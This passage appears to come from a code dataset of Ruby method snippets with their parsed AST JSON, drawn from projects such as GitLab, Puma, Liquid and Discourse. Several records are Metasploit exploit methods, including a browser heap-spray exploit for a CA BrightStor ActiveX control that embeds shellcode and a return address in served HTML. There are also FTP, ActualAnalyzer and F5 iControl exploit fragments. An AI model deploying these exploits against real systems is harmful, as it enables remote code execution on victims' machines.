target\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"regexp\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"escape\",{\"type\":\"lvar\",\"children\":[\"version\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"targets\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"name\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"regexp\"]}]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@mytarget\",{\"type\":\"lvar\",\"children\":[\"t\"]}]},{\"type\":\"break\",\"children\":[]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mytarget\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"NoTarget\"]},{\"type\":\"str\",\"children\":[\"No matching target\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Selected Target: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mytarget\"]},\"name\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pl\",{\"type\":\"send\",\"children\":[null,\"exploit_regenerate_payload\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mytarget\"]},\"platform\"]},{\"type\":\"send\",\"children\":[null,\"arch\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pl\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Unable to regenerate payload!\"]}]},null]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Trying target \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mytarget\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"banner\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"FTP Banner: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"banner\"]},\"strip\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"payload\"]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"ded56b0f-a903-46a1-8a1b-a0a7f4cace9f"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/graphql/project/issue/designs/designs_spec.rb","start_line":40,"raw_source":"def make_query(dq = design_query)\n designs_field = query_graphql_field(:design_collection, {}, dq)\n issue_field = query_graphql_field(:issue, { iid: issue.iid.to_s }, designs_field)\n\n graphql_query_for(:project, { fullPath: project.full_path }, issue_field)\n end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"make_query\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"dq\",{\"type\":\"send\",\"children\":[null,\"design_query\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"designs_field\",{\"type\":\"send\",\"children\":[null,\"query_graphql_field\",{\"type\":\"sym\",\"children\":[\"design_collection\"]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"dq\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"issue_field\",{\"type\":\"send\",\"children\":[null,\"query_graphql_field\",{\"type\":\"sym\",\"children\":[\"issue\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"iid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue\"]},\"iid\"]},\"to_s\"]}]}]},{\"type\":\"lvar\",\"children\":[\"designs_field\"]}]}]},{\"type\":\"send\",\"children\":[null,\"graphql_query_for\",{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fullPath\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"full_path\"]}]}]},{\"type\":\"lvar\",\"children\":[\"issue_field\"]}]}]}]}","id":"101ca047-1c36-467a-b98a-2c77e219bc3b"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/actualanalyzer_ant_cookie_exec.rb","start_line":144,"raw_source":"def get_analytics_host_code\n analytics_host = nil\n res = send_request_cgi(\n 'uri' => normalize_uri(target_uri.path, 'code.php'),\n 'vars_get' => {\n 'pid' => '1'\n }\n )\n if !res\n vprint_error(\"Connection failed\")\n elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\\/\\/(?<analytics_host>[^\\/^']+)/ =~ res.body\n vprint_good(\"Found analytics host: #{analytics_host}\")\n return analytics_host\n else\n vprint_status(\"Could not find any hosts on code.php\")\n end\n nil\n end","complexity_score":19.15,"ast_json":"{\"type\":\"def\",\"children\":[\"get_analytics_host_code\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"analytics_host\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"code.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"pid\"]},{\"type\":\"str\",\"children\":[\"1\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"vprint_error\",{\"type\":\"str\",\"children\":[\"Connection failed\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},{\"type\":\"match_with_lvasgn\",\"children\":[{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"alt='ActualAnalyzer' src='https?://(?<analytics_host>[^/^']+)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found analytics host: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"analytics_host\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"analytics_host\"]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"Could not find any hosts on code.php\"]}]}]}]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"99ac43eb-4827-4ca9-b568-1b9e31b8db86"} {"repo_name":"openproject","file_path":"./repos/openproject/lib_static/redmine/diff.rb","start_line":63,"raw_source":"def html_line\n line_to_html(line, offsets)\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"html_line\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"line_to_html\",{\"type\":\"send\",\"children\":[null,\"line\"]},{\"type\":\"send\",\"children\":[null,\"offsets\"]}]}]}","id":"efe2b152-7df6-4e32-a942-d01907dc4703"} {"repo_name":"liquid","file_path":"./repos/liquid/test/integration/variable_test.rb","start_line":73,"raw_source":"def test_hash_scoping\n assert_template_result('worked', \"{{ test.test }}\", { 'test' => { 'test' => 'worked' } })\n assert_template_result('worked', \"{{ test . test }}\", { 'test' => { 'test' => 'worked' } })\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_hash_scoping\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"worked\"]},{\"type\":\"str\",\"children\":[\"{{ test.test }}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"str\",\"children\":[\"worked\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"worked\"]},{\"type\":\"str\",\"children\":[\"{{ test . test }}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"test\"]},{\"type\":\"str\",\"children\":[\"worked\"]}]}]}]}]}]}]}]}","id":"7f4ddf30-4c08-46b6-9942-59676a2f26a6"} {"repo_name":"puma","file_path":"./repos/puma/test/test_puma_server.rb","start_line":25,"raw_source":"def setup\n @host = HOST\n @app = ->(env) { [200, {}, [env['rack.url_scheme']]] }\n\n @log_writer = Puma::LogWriter.strings\n @events = Puma::Events.new\n @server = Puma::Server.new @app, @events, {log_writer: @log_writer}\n end","complexity_score":10.38,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@host\",{\"type\":\"const\",\"children\":[null,\"HOST\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@app\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[200]},{\"type\":\"hash\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]\",{\"type\":\"str\",\"children\":[\"rack.url_scheme\"]}]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@log_writer\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"LogWriter\"]},\"strings\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@events\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"Events\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@server\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"Server\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@app\"]},{\"type\":\"ivar\",\"children\":[\"@events\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"log_writer\"]},{\"type\":\"ivar\",\"children\":[\"@log_writer\"]}]}]}]}]}]}]}","id":"52c32c56-7025-42b5-9f4e-971c56a0eb80"} {"repo_name":"discourse","file_path":"./repos/discourse/app/models/theme.rb","start_line":691,"raw_source":"def child_theme_ids=(theme_ids)\n super(theme_ids)\n Theme.clear_cache!\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"child_theme_ids=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"theme_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"theme_ids\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Theme\"]},\"clear_cache!\"]}]}]}","id":"1c4e7118-6ca2-4b09-84a9-6035b72d96b7"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/browser/ca_brightstor_addcolumn.rb","start_line":57,"raw_source":"def on_request_uri(cli, request)\n # Re-generate the payload.\n return if ((p = regenerate_payload(cli)) == nil)\n\n # Encode the shellcode.\n shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))\n\n # Create some nops.\n nops = Rex::Text.to_unescape(make_nops(4))\n\n # Set the return.\n ret = Rex::Text.to_unescape([target.ret].pack('V'))\n\n # Randomize the javascript variable names.\n vname = rand_text_alpha(rand(30) + 1)\n var_i = rand_text_alpha(rand(5) + 1)\n rand1 = rand_text_alpha(rand(100) + 1)\n rand2 = rand_text_alpha(rand(100) + 1)\n rand3 = rand_text_alpha(rand(100) + 1)\n rand4 = rand_text_alpha(rand(100) + 1)\n rand5 = rand_text_alpha(rand(100) + 1)\n rand6 = rand_text_alpha(rand(100) + 1)\n rand7 = rand_text_alpha(rand(100) + 1)\n\n content = %Q|\n <html>\n <object id=\"#{vname}\" classid=\"clsid:BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3\"></object>\n <script>\n\n var #{rand1} = unescape(\"#{shellcode}\");\n var #{rand2} = 0x0A0A0A0A;\n var #{rand3} = 0x400000;\n var #{rand4} = (#{rand2} - #{rand3}) / #{rand3};\n var #{rand5} = unescape(\"#{ret}\");\n var #{rand6} = 128;\n\n while((#{rand5}.length * 2) < #{rand3}) #{rand5} += #{rand5};\n #{rand5} = #{rand5}.substring(0, #{rand3} - #{rand1}.length);\n #{rand7} = new Array();\n for(#{var_i} = 0; #{var_i} < #{rand4}; #{var_i}++) #{rand7}[#{var_i}] = #{rand5} + #{rand1};\n while(#{rand5}.length < (#{rand6} * 2)) #{rand5} += #{rand5};\n #{rand5} = #{rand5}.substring(0, #{rand6});\n\n #{vname}.AddColumn(#{rand5}, 1);\n </script>\n </html>\n |\n\n content = Rex::Text.randomize_space(content)\n\n print_status(\"Sending #{self.name}\")\n\n # Transmit the response to the client\n send_response_html(cli, content)\n\n # Handle the payload\n handler(cli)\n end","complexity_score":78.3,"ast_json":"{\"type\":\"def\",\"children\":[\"on_request_uri\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cli\"]},{\"type\":\"arg\",\"children\":[\"request\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"regenerate_payload\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"shellcode\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unescape\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Arch\"]},\"endian\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"arch\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"nops\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unescape\",{\"type\":\"send\",\"children\":[null,\"make_nops\",{\"type\":\"int\",\"children\":[4]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"to_unescape\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"ret\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vname\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[30]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"var_i\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[5]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rand1\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rand2\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rand3\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rand4\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rand5\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rand6\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"rand7\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[100]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" <html>\\n\"]},{\"type\":\"str\",\"children\":[\" <object id=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vname\"]}]},{\"type\":\"str\",\"children\":[\"\\\" classid=\\\"clsid:BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3\\\"></object>\\n\"]},{\"type\":\"str\",\"children\":[\" <script>\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand1\"]}]},{\"type\":\"str\",\"children\":[\" = unescape(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shellcode\"]}]},{\"type\":\"str\",\"children\":[\"\\\");\\n\"]},{\"type\":\"str\",\"children\":[\" var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand2\"]}]},{\"type\":\"str\",\"children\":[\" = 0x0A0A0A0A;\\n\"]},{\"type\":\"str\",\"children\":[\" var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand3\"]}]},{\"type\":\"str\",\"children\":[\" = 0x400000;\\n\"]},{\"type\":\"str\",\"children\":[\" var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand4\"]}]},{\"type\":\"str\",\"children\":[\" = (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand2\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand3\"]}]},{\"type\":\"str\",\"children\":[\") / \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand3\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"str\",\"children\":[\" var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand5\"]}]},{\"type\":\"str\",\"children\":[\" = unescape(\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ret\"]}]},{\"type\":\"str\",\"children\":[\"\\\");\\n\"]},{\"type\":\"str\",\"children\":[\" var \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand6\"]}]},{\"type\":\"str\",\"children\":[\" = 128;\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" while((\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand5\"]}]},{\"type\":\"str\",\"children\":[\".length * 2) < \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand3\"]}]},{\"type\":\"str\",\"children\":[\") \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand5\"]}]},{\"type\":\"str\",\"children\":[\" += \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand5\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand5\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand5\"]}]},{\"type\":\"str\",\"children\":[\".substring(0, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand3\"]}]},{\"type\":\"str\",\"children\":[\" - \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand1\"]}]},{\"type\":\"str\",\"children\":[\".length);\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand7\"]}]},{\"type\":\"str\",\"children\":[\" = new Array();\\n\"]},{\"type\":\"str\",\"children\":[\" for(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\" = 0; \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\" < \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand4\"]}]},{\"type\":\"str\",\"children\":[\"; \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\"++) \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand7\"]}]},{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"var_i\"]}]},{\"type\":\"str\",\"children\":[\"] = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand5\"]}]},{\"type\":\"str\",\"children\":[\" + \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand1\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"str\",\"children\":[\" while(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand5\"]}]},{\"type\":\"str\",\"children\":[\".length < (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand6\"]}]},{\"type\":\"str\",\"children\":[\" * 2)) \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand5\"]}]},{\"type\":\"str\",\"children\":[\" += \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand5\"]}]},{\"type\":\"str\",\"children\":[\";\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand5\"]}]},{\"type\":\"str\",\"children\":[\" = \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand5\"]}]},{\"type\":\"str\",\"children\":[\".substring(0, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand6\"]}]},{\"type\":\"str\",\"children\":[\");\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vname\"]}]},{\"type\":\"str\",\"children\":[\".AddColumn(\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rand5\"]}]},{\"type\":\"str\",\"children\":[\", 1);\\n\"]},{\"type\":\"str\",\"children\":[\" </script>\\n\"]},{\"type\":\"str\",\"children\":[\" </html>\\n\"]},{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"randomize_space\",{\"type\":\"lvar\",\"children\":[\"content\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response_html\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\",{\"type\":\"lvar\",\"children\":[\"cli\"]}]}]}]}","id":"410dd849-83ee-42d6-a1d1-d44f057c7f38"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/f5_icontrol_soap_csrf_rce_cve_2022_41622.rb","start_line":157,"raw_source":"def exploit\n # Sanity check\n if datastore['TARGET'] == 2 && (!datastore['FILENAME'] || datastore['FILENAME'].empty?)\n fail_with(Failure::BadConfig, 'For custom targets, please provide the FILENAME')\n end\n\n print_good('Starting HTTP server; an administrator with an active HTTP Basic session will need to load the URL below')\n super\n end","complexity_score":17.83,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGET\"]}]},\"==\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILENAME\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"FILENAME\"]}]},\"empty?\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"For custom targets, please provide the 